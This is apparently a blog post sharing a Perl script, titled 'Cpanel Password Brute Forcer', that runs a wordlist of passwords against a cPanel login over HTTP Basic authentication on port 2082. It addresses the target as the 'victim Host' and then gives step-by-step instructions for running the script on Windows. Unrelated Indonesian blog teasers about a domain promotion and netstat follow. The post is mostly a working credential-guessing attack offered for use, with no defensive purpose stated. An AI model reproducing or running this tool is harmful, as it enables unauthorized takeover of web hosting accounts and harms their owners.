Skip to main content

Perl Script for CP Cracking

SCRIPT CODE:
#!/usr/bin/perl
# Cpanel Password Brute Forcer
# ----------------------------
#    (c)oded By Hessam-x
# Perl Version ( low speed )
# Oerginal Advisory :
# http://www.simorgh-ev.com/advisory/2006/cpanel-bruteforce-vule/
use IO::Socket;
use LWP::Simple;
use MIME::Base64;

$host     = $ARGV[0];
$user     = $ARGV[1];
$port     = $ARGV[2];
$list     = $ARGV[3];
$file     = $ARGV[4];
$url = "http://".$host.":".$port;
if(@ARGV < 3){
print q(
###############################################################
#               Cpanel Password Brute Force Tool              #
###############################################################
#     usage : cpanel.pl [HOST] [User] [PORT][list] [File]    #
#-------------------------------------------------------------#
#    [Host] : victim Host             (simorgh-ev.com)        #
#    [User] : User Name               (demo)                  #
#    [PORT] : Port of Cpanel          (2082)                  #
#[list] : File Of password list   (list.txt)              #
#    [File] : file for save password  (password.txt)          #
#                                                             #
###############################################################
#            (c)oded By Hessam-x / simorgh-ev.com             #
###############################################################
);exit;}

headx();

$numstart  = "-1";

sub headx() {
print q(
###############################################################
#              Cpanel Password Brute Force Tool               #
#            (c)oded By Hessam-x / simorgh-ev.com             #
###############################################################
);
open (PASSFILE, "<$list") || die "[-] Can't open the List of password file !";
@PASSWORDS = <PASSFILE>;
close PASSFILE;
foreach my $P (@PASSWORDS) {
chomp $P;
$passwd = $P;
print "
[~] Try Password : $passwd
";
&brut;
};
}
sub brut() {
$authx = encode_base64($user.":".$passwd);
print $authx;
my $sock = IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$host", PeerPort => "$port") || print "
[-] Can not connect to the host";
print $sock "GET / HTTP/1.1
";
print $sock "Authorization: Basic $authx
";
print $sock "Connection: Close

";
read  $sock, $answer, 128;
close($sock);

if ($answer =~ /Moved/) {
print "
[~] PASSWORD FOUND : $passwd
";
exit();
}
}


save as cp.pl with notepad. U need perl to run this script
It is so simple. How to use? >>
-make the perl script under C:
-also make 2 text files with perl scipt in C;
wordlist of text file (eg.passlist.txt) & result for (eg.11.txt)
-done

usage in cmd box
cp.pl [HOST] [User] [PORT] [LIST] [FILE]

cp.pl = your cracking perl script
HOST = the host you wanna [ IP ]
PORT = 2082
LIST = the wordlist including words to crack control panel (eg.passlist.txt)
FILE = result get from cracking place in here.(eg.11.txt)

Comments

Popular posts from this blog

DOMAIN (dot)asia HANYA AUD $1

  Di hari ulang tahun nya website Crazydomains yang ke 12 tahun,  crazydomains memberikan paket penawaran harga domain dengan TLD ( Top Level Domains ) (dot)asia hanya dengan seharga AUD $1 ( satu dollar australia ). Tentu saja kurs dollar australia lebih murah di bandingkan kurs dollar amerika. Untuk mendapatkan domain murah (dot)asia ini anda bisa membayarnya dengan menggunakan balance paypal. Dan yang pastinya anda tidak perlu mengisi atau mengharuskan memberi informasi tentang kartu kredit segala macem. Selain memberikan layanan untuk pemesanan nama domain, Crazydomains juga menyediakan sejumlah layanan lainnya, di antaranya adalah layanan Award Winning Logo Design, Cheap SSL Certificates, Professional Web Design, Build Your Own Website, Linux Dedicated Servers, Windows Dedicated Servers, Microsoft Email Exchange, Search Engine Submission dan Fax by Email. Untuk nama domain dengan harga paling murah dan harga ini bukan harga promo, yaitu domain (dot)mao...

SCAN VIRUS DENGAN NETSTAT

Hi... All.. Langsung aja ke penjelasan yach... Berikut adalah Langkah-langkah nya: 1. Buka Task Manager (ctrl + alt + del) 2. Klik View dan Pilih Select Columns